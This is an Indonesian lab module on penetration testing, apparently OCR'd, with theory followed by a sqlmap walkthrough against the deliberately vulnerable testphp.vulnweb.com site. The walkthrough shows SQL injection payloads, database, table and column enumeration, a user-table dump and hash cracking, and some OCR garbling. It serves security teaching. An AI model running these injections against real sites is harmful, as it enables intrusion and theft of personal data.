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PENETRATION TESTING

4.1 Tujuan Praktikum

1. Memahami konsep dan metodologi penetration testing.
2. Melakukan pemindaian dan identifikasi kerentanan.

3.
4

. Menggunakan dan mengenal tools penetration testing.

Mengeksploitasi kerentanan dengan aman.

4.2 Alat dan Bahan

Laptop

1
2. VirtualBox
3.

4. SQLMAP

Kali Linux

4.3 Dasar Teori

4.3.1 Pengenalan Penetration Testing

Penetration testing, juga dikenal sebagai pen testing atau ethical hacking,
adalah suatu metode yang digunakan untuk mengidentifikasi kelemahan dalam
sistem komputer, jaringan, atau aplikasi dengan tujuan untuk meningkatkan
keamanan. Teknik ini melibatkan simulasi serangan yang dilakukan oleh
spesialis keamanan (dikenal sebagai penetration tester atau ethical hacker),
yang mencoba mengeksploitasi kerentanan dalam sistem dengan cara yang
mirip dengan teknik serangan yang dapat dilakukan oleh penyerang jahat.
Melalui pendekatan proaktif ini, perusahaan dapat mengantisipasi dan menutup
celah keamanan sebelum dimanfaatkan oleh pihak yang tidak bertanggung
jawab. Dengan melakukan pen testing secara berkala, perusahaan dapat
memastikan bahwa sistem mereka tetap aman dari ancaman baru dan mematuhi

standar keamanan yang berlaku.
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4.3.2 Tujuan Penetration Testing

Berikut beberapa tujuan dari Penetration Testing :

Mensimulasikan Serangan Nyata

Menguji bagaimana sistem merespons serangan yang sebenarnya, baik
dari internal maupun eksternal.

Mengidentifikasi Kelemahan

Penetration tester berusaha untuk mengidentifikasi potensi kerentanan
dalam sistem, seperti konfigurasi yang buruk, kerentanan perangkat
lunak, atau masalah keamanan yang mungkin ada.

Menilai Kerentanan

Setelah kerentanan diidentifikasi, pen tester mengevaluasi tingkat risiko
yang terkait dengan masing-masing kerentanan. Ini membantu
organisasi untuk memprioritaskan tindakan perbaikan.

Menguji Pertahanan

Penetration testing juga membantu organisasi untuk menguji efektivitas
sistem keamanan mereka. Dengan mencoba mengeksploitasi
kerentanan, mereka dapat melihat sejauh mana sistem mampu

melindungi diri dari serangan.
Menilai Dampak Potensi Serangan

Selain mengidentifikasi dan mengevaluasi kerentanan, penetration
testing juga bertujuan untuk memahami dampak jika celah keamanan
benar-benar dieksploitasi oleh penyerang. Ini membantu organisasi
dalam merancang strategi yang lebih efektif serta memperkirakan
kemungkinan kerugian akibat serangan siber.

Rekomendasi Perbaikan

Setelah pengujian selesai, pen tester biasanya memberikan rekomendasi
tentang cara memperbaiki kerentanan yang telah diidentifikasi. Ini
memungkinkan organisasi untuk mengambil langkah-langkah perbaikan

yang diperlukan untuk meningkatkan keamanan mereka.
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4.3.3 Metodologi Penetration Testing

Metodologi penetration testing (pentest) adalah serangkaian langkah atau
tahapan sistematis yang digunakan untuk mengidentifikasi, mengeksploitasi,
dan mengevaluasi kerentanan dalam sistem atau jaringan untuk menilai

keamanannya.

Black Box

b
Wi

Penetration test tidak
memiliki akses sama
sekali ke IT
environment

1. White Box Testing

Metode white box testing adalah yang paling “transparan”. Pasalnya,
tester mendapatkan akses penuh ke dalam sistem. Dengan informasi
tersebut, penetration tester akan melakukan analisis untuk mencari
kerentanan, kesalahan konfigurasi, dan lainnya.
Keuntungan metode white box:
Metode ini memberikan pandangan objektif tentang seberapa efektif
sistem dalam menghadapi serangan cyber dan sejauh mana perusahaan
dapat mendeteksi, mencegah, dan merespon terhadap serangan tersebut.

2. Black Box Testing

Black Box Testing adalah pendekatan di mana penguji penetrasi tidak
memiliki pengetahuan sebelumnya tentang sistem atau infrastruktur yang
akan diuji. Black box testing dapat menciptakan situasi yang mendekati
kondisi sebenarnya ketika perusahaan menghadapi serangan dari pihak
eksternal yang tidak memiliki akses sebelumnya.
Keuntungan metode black box:
Metode ini memberikan pandangan objektif tentang seberapa efektif
sistem dalam menghadapi serangan cyber dan sejauh mana perusahaan
dapat mendeteksi, mencegah, dan merespon terhadap serangan tersebut.
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3. Grey Box Testing

Grey Box Testing merupakan teknik penetration testing gabungan
antara White Box dan Black Box Testing. Dalam skenario Grey Box,
penguji penetrasi memiliki sejumlah informasi terbatas tentang
infrastruktur IT perusahaan. Meskipun tidak sepenuhnya terbatas seperti
pada Black Box Testing, namun informasi yang diberikan tetap disajikan
secara parsial.
Keuntungan metode grey box:
Metode ini dapat mengevaluasi sistem dengan cara yang lebih realistis,
mirip dengan cara penyerang cyber yang memiliki sejumlah informasi
terbatas sebelum melancarkan serangan. Grey Box Testing dapat
memberikan gambaran yang lebih baik tentang seberapa efektif kebijakan
keamanan perusahaan dalam mengatasi ancaman dari pihak yang

memiliki akses terbatas.

4.3.4 5 Tahapan dalam Melakukan Penetration Testing
1. Reconnaissance
Fase pertama adalah pengumpulan informasi target, baik secara
pasif maupun aktif, untuk merencanakan strategi serangan yang efektif.
Pasif artinya tidak melakukan kontak langsung, sementara cara aktif
memang lebih efektif, di satu sisi juga berisiko karena harus berkontak
langsung.
2. Scanning
Selanjutnya, vulnerability scan penetration test, yaitu memindai
port atau lalu lintas jaringan target untuk mencari titik masuk potensial.
3. Vulnerability Assessment
Setelah  menemukan pintu masuk, tester akan mulai
mengidentifikasi seberapa parah kerentanannya. Mereka mencari tahu
apakah target dapat dieksploitasi.

4. Exploitation
Fase inilah yang menjadi inti dari tahapan penetration testing.
Dengan alat eksploitasi, tester melancarkan simulasi serangan cyber pada

target.
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5. Reporting
Terakhir, segala temuan selama proses penetration testing
didokumentasikan dalam sebuah laporan untuk memperbaiki
kerentanannya. Laporan mencakup garis besar kerentanan, tingkat

kesulitan eksploitasi, risiko teknis, saran perbaikan, dan lain sebagainya.

4.3.5 Fungsi Penetration Testing
Penetration Testing keamanan.siber sangat penting dalam berbagai
industri seperti perbankan, teknologi, ritel, layanan kesehatan, hingga
pemerintahan. Hal ini berlaku bagi siapa saja yang mengelola data digital yang
bersifat pribadi dan sensitif. Pemeriksaan ini berfungsi bagi perusahaan yang
beroperasi di lingkungan digital untuk berbagai tujuan, antara lain:
1. Menemukan Risiko Keamanan
Pemeriksaan keamanan harus menjadi prioritas karena dapat
mengidentifikasi risiko dan cara penanggulangannya sebelum ditemukan
oleh penjahat siber. Melalui pemeriksaan ini, perusahaan dapat terhindar
dari kejahatan siber yang berpotensi merugikan secara finansial,
operasional, dan reputasi.
2. Persiapan Menghadapi Jenis Serangan Baru
Teknologi dan metode kejahatan siber terus berkembang.
Perusahaan harus mengikuti perkembangan tersebut agar tetap aman.
Oleh karena itu, diperlukan keahlian dari penetration tester untuk
mengidentifikasi dan memperbaiki kerentanan sistem terhadap serangan
siber terbaru.
3. Mematuhi Aturan yang Berlaku
Perusahaan yang menyimpan data sensitif menjadi target utama bagi
penjahat siber. Inilah yang membuat penetration testing sangat penting.
Bahkan, regulator di berbagai negara telah mewajibkan perusahaan untuk

melakukan penetration testing sebagai bagian dari standar keamanan.
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4.3.6 Tools Penetration Testing

1. Metasploit

Metasploit

Metasploit adalah salah satu framework penetration testing paling
populer yang digunakan untuk menemukan, mengeksploitasi, dan
memvalidasi kerentanan dalam sistem. Dengan database eksploit yang luas,
Metasploit memungkinkan penguji keamanan untuk melakukan serangan
simulasi, menguji pertahanan sistem, serta memberikan rekomendasi

perbaikan.

2. Nmap (Network Mapper)

Nmap adalah tool pemindaian jaringan yang digunakan untuk
mengidentifikasi perangkat, layanan, dan port terbuka dalam suatu jaringan.
Nmap memungkinkan penetration tester untuk mendapatkan informasi
penting tentang target, seperti sistem operasi, firewall yang digunakan, dan

potensi celah keamanan.
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3. Burp Suite

BURPSUITE

Burp Suite adalah tool pengujian keamanan aplikasi web yang
sangat populer. Dengan fitur seperti proxy intercept, scanner, repeater, dan
intruder, Burp Suite memungkinkan penguji untuk menganalisis lalu lintas
HTTP/S, menemukan kerentanan seperti SQL Injection dan Cross-Site
Scripting (XSS), serta mengeksploitasi kelemahan aplikasi secara manual
maupun otomatis.

4. Wirehark

<&»

/1
WIRESHARK

Wireshark adalah tool analisis jaringan yang memungkinkan
penggunanya untuk menangkap dan memeriksa paket data yang
melewati jaringan secara real-time. Penetration tester menggunakan
Wireshark  untuk  mengidentifikasi  lalu lintas mencurigakan,
menganalisis komunikasi protokol, dan menemukan potensi kebocoran
data. Tool ini sangat berguna dalam investigasi serangan Man-in-the-
Middle (MITM) dan deteksi anomali dalam jaringan.
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1. Sudo apt-get update

File Actions Edit View Help

kali kali-rolling InRelease
ne

Sudo apt-get update adalah perintah di Kali Linux untuk memperbarui paket
dari repositori dengan menjalankan alat manajemen paket sebagai administrator
tanpa menginstall apa pun.

|
Usage: python3 sqlmap [options]

sqlmap: error: missing a mandatory option (-d, -u, -1, -m, -r, -g, -c, —wizard, —shell, ——update, ——purge, —list-tampers or -—dependen
cies). Use -h for basic and -hh for advanced help

3. Berikut merupakan URL yang akan di exploit SQL Injection
http://testphp.vulnweb.com/listproducts.php?cat=1

it-DB  Google Hacking DB " OffSec
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[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 10:50:05 /2025-04-05/

sqlmap identified the following injection point(s) with a total of 207 HTTP(s) requests
Parameter: cat (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: cat=-6938 OR 6182-=6182#

Type: error-based
Title: MySQL = 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: cat=GTID_SUBSET(CONCAT(0x7176707171,(SELECT (ELT(9737=9737,1))),0x7170627171),9737)

Type: time-based blind
Title: MySQL = 5.0.12 time-based blind - Parameter replace
Payload: cat=(CASE WHEN (4747=4747) THEN SLEEP(5) ELSE 4747 END)

Type: UNION query
Title: MySQL UNION query (random number) - 11 columns

Payload: cat=-6403 UNION ALL SELECT 2438,CONCAT(0x7176707171,0x6550777a656364416b64444e4976734f56577a756b43454756626d695a4b42425470624d4
C465376,0x7170627171),2438,2438,2438,2438,2438,2438,2438,2438,24381

[ 1 [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL 2 5.6

[ ] [INFO] fetching database names

available databases [2]:

[*] acuart

[*] information_schema

[ ] [INFO] fetched data logged to text files under ‘/home kc/.local/share/sqlmap/output/testphp.vulnweb.com’

[*] ending @ 10:54:39 /2025-04-05/

sglmap adalah tool otomatis untuk mendeteksi dan mengeksploitasi SQL
Injection pada suatu web.

sglmap -u berarti URL target dari website yang akan diuji.

-dbs berfungsi untuk menampilkan daftar semua database yang tersedia di

server database jika berhasil mengeksploitasi SQL Injection.
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http://testphp.vulnweb.com/listproducts.php?cat=1~ acuart

o
- [§
12|V
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to

obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 11:20:55 /2025-04-05/

][I ] resuming back-end DBMS ‘mysql

1 [INFO] testing connection to the target URL
[ ] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:

Parameter: cat (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: cat=-6938 OR 6182=6182#

Type: error-based
Title: MySQL = 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: cat=GTID_SUBSET(CONCAT(@x7176707171,(SELECT (ELT(9737=9737,1))),0x7170627171),9737)

Type: time-based blind
Title: MySQL = 5.0.12 time-based blind - Parameter replace
Payload: cat=(CASE WHEN (4747=4747) THEN SLEEP(5) ELSE 4747 END)

Type: UNION query

Title: MySQL UNION query (random number) - 11 columns

Payload: cat=-6403 UNION ALL SELECT 2438,CONCAT(@0x7176707171,0x6550777a656364416b64444e4976734f56577a756b43454756626d695a4b42425470624d4
c465376,0x7170627171),2438,2438,2438,2438,2438,2438,2438,2438,2438#

[11:2¢ 1 [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40

back-end DBMS: MySQL = 5.6

[ ¢ ] [INFO] fetching tables for database: ‘acuart

Database: acuart

[8 tables]

e

| artists

| carts
categ

| featured

| guestbook

| pictures
products

| users

+

[11:2¢ ] [INFO] fetched data logged to text files under */home/sekc/.local/share/sqlmap/output/testphp.vulnweb.com’

[*] ending @ 11:20:56 /2025-04-05/

‘sqlmap’ Adalah tools otomatis untuk mendeteksi dan mengeksploitasi SQL Injection.

‘-u https://testphp.vulnweb.com/listproducts.php?cat=1’ Menentukan URL target. Di sini,

parameter “cat=1" adalah titik potensial untuk SQL Injection.

‘-D acuart’ Setelah berhasil mendeteksi SQLI, -D digunakan untuk menentukan nama

database yang ingin diakses, dalam hal ini acuart.

‘—tables’ Memerintahkan SQLMap untuk menampilkan semua nama tabel di dalam

database acuart.


http://testphp.vulnweb.com/listproducts.php?cat=1
https://testphp.vulnweb.com/listproducts.php?cat=1
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6. sqlmap -u https://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T

users —columns

http://testphp.vulnweb.com/listproducts.php?cat=1~ -D acuart

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 11:32:38 /2025-04-05/

resuming back-end DBMS 'm 1’

[ testing connection to the target URL
[ 1 G] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session
Parameter: cat (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: cat=-6938 OR 6182=6182#

Type: error-based
Title: MySQL 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: cat=GTID_SUBSET(CONCAT(@x7176707171,(SELECT (ELT(9737=9737,1))),0x7170627171),9737)

Type: time-based blind
Title: MysSQL 5.0.12 time-based blind - Parameter replace
Payload: cat=(CASE WHEN (4747=4747) THEN SLEEP(5) ELSE 4747 END)

Type: UNION query

Title: MySQL UNION query (random number) - 11 columns

Payload: cat=-6403 UNION ALL SELECT 2438,CONCAT(0x7176707171,0x6550777a656364416b64444e4976734f56577a756b43454756626d695a4b42425470624d4
c465376,0x7170627171),2438,2438,2438,2438,2438,2438,2438,2438,24384

[ 1 [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40

back-end DBMS: MySQL = 5.6

[ 10 ] fetching columns for table 'u in database 'acuart
Database: acuart

Table: users

[8 columns]

——_—

Column Type
varchar(100)
mediumtext
varchar(100)

|

3
name |
|
|
| varchar(100)
|
|
|
|
S

address

varchar(100)
varchar(100)
varchar(100)
uname

varchar(100)

[ ] [INFO] fetched data logged to text files under °/home / map/outpu vulnweb.com"

[*] ending @ 11:32:40 /2025-04-05/

‘-T users’ Digunakan untuk menentukan nama tabel di dalam sebuah database yang

ingin di eksploitasi atau eksplorasi lebih lanjut.

‘—colunmns’ Untuk melihat semua kolom yang ada di dalam sebuah tabel.


https://testphp.vulnweb.com/listproducts.php?cat=1
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http://testphp.vulnweb.com/listproducts.php?cat=1~ -D acuart users

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 11:40:15 /2025-04-05/

[ ] [INFO] resuming back-end DBMS ‘mysql’
[ 1 [INFO] testing connection to the target URL
[ [w. ING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
Parameter: cat (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: cat=-6938 OR 6182=6182f

Type: error-based
Title: MySQL = 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: cat=GTID_SUBSET(CONCAT(0x7176707171,(SELECT (ELT(9737=9737,1))),0x7170627171),9737)

Type: time-based blind
Title: MySQL = 5.0.12 time-based blind - Parameter replace
Payload: cat=(CASE WHEN (4747=4747) THEN SLEEP(5) ELSE 4747 END)

Type: UNION query

Title: MySQL UNION query (random number) - 11 columns

Payload: cat=-6403 UNION ALL SELECT 2438,CONCAT(0x7176707171,0x6550777a656364416b64444e4976734f56577a756b43454756626d695a4b42425470624d4
c465376,0%x7170627171),2438,2438,2438,2438,2438,2438,2438,2438,24384

[ 1 [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL = 5.6
] [INFO] fetching columns for table ‘users’' in database ‘acuart’
] [INFO] fetching entries for table ‘users’ in database ‘acuart’
] [INFO] recognized possible password hashes in column ‘cart’
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[ ] [INFO] writing hashes to a temporary file '/tmp/sqlmapgnz8vz@p36551/sqlmaphashes-flmfoy7i.txt’
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[ ] [INFO] using hash method 'md5_generic_passwd®
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>1
do you want tn use common password suffixes? (slow!) [y/N] vy
F I starting dictionary-based cracking (md5_generic_passwd)
] starting 6 processes
] using suffix "1°
] using suffix "123°
] using suffix ‘2°
] using suffix "12°
] using suffix '3°
] using suffix "13°
] using suffix '7'
] using suffix "11°
] using suffix '5°
] using suffix "22°
] using suffix '
] using suffix '
] using suffix "4°
] using suffix '
] using suffix
] using suffix
0] using suffix
0] using suffix °
0] using suffix '
] using suffix
] using suffix °
] using suffix '
] using suffix '
] using suffix
] using suffix '
] using suffix
] using suffix
] using suffix
] using suffix °
] using suffix
] using suffix
] using suffix ' ..
] using suffix '
] using suffix '
] using suffix
ING] no clear passwurd(s) found
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Database: acuart
Table: users
[1 entry]
B —— e
cc cart | email | phone uname | name | address
B

|

it e e

| 4-5678-2300-9000 | 948638302a7elb2e72310e0ee53db8f1 | email@email.com | 2323345 | John Smith | 21 street
AR e e I T S B O A N N e

[11 FO] table ‘acuart.users’' dumped to CSV file '
[11 ] fetched data logged to text files under '

[*] ending @ 11:43:36 /2025-04-05/

‘—dump’ Untuk mengekstrak dan menampilkan data dari tabel tertentu dalam

database yang rentan terhadap SQL Injection.

8. Sglmap -u https://testphp.vulnweb.com/listproducts.php?cat=1 -dump

http://testphp.vulnweb.com/listproducts.php?cat=1

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 11:56:53 /2025-04-05/

11 ] [INFO] resuming back-end DBMS 'm b

11 1 [INFO] testing connection to the target URL

gqlmap resumed the following injection point(s) from stored session:
Parameter: cat (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: cat=-6938 OR 6182=6182#

[
[
s

Type: error-based
Title: MySQL = 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: cat=GTID_SUBSET(CONCAT(0x7176707171,(SELECT (ELT(9737=9737,1))),0x7170627171),9737)

Type: time-based blind
Title: MySQL = 5.0.12 time-based blind - Parameter replace
Payload: cat=(CASE WHEN (4747=4747) THEN SLEEP(5) ELSE 4747 END)

Type: UNION query

Title: MySQL UNION query (random number) - 11 columns

Payload: cat=-6403 UNION ALL SELECT 2438,CONCAT(0x7176707171,0x6550777a656364416b64444e4976734F56577a756b43454756626d695a4b42425470624d4
c465376,0x7170627171),2438,2438,2438,2438,2438,2438,2438,2438,2438#

[11 1 [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40

back-end DBMS: MySQL = 5.6

[ 1 [w G] missing database parameter. sglmap is going to use the current database to enumerate table(s) entries

Sintaks tersebut untuk melakukan eksploitasi SQL Injection pada URL target dan
mengekstrak data dari semua tabel di database jika ditemukan kerentanan.

“Jelajahi dan pelajari dengan mandiri, setiap langkah kecil dalam pencarian ilmu akan
membawamu lebih dekat pada pemahaman yang mendalam dan kemajuan yang berarti’’


https://testphp.vulnweb.com/listproducts.php?cat=1

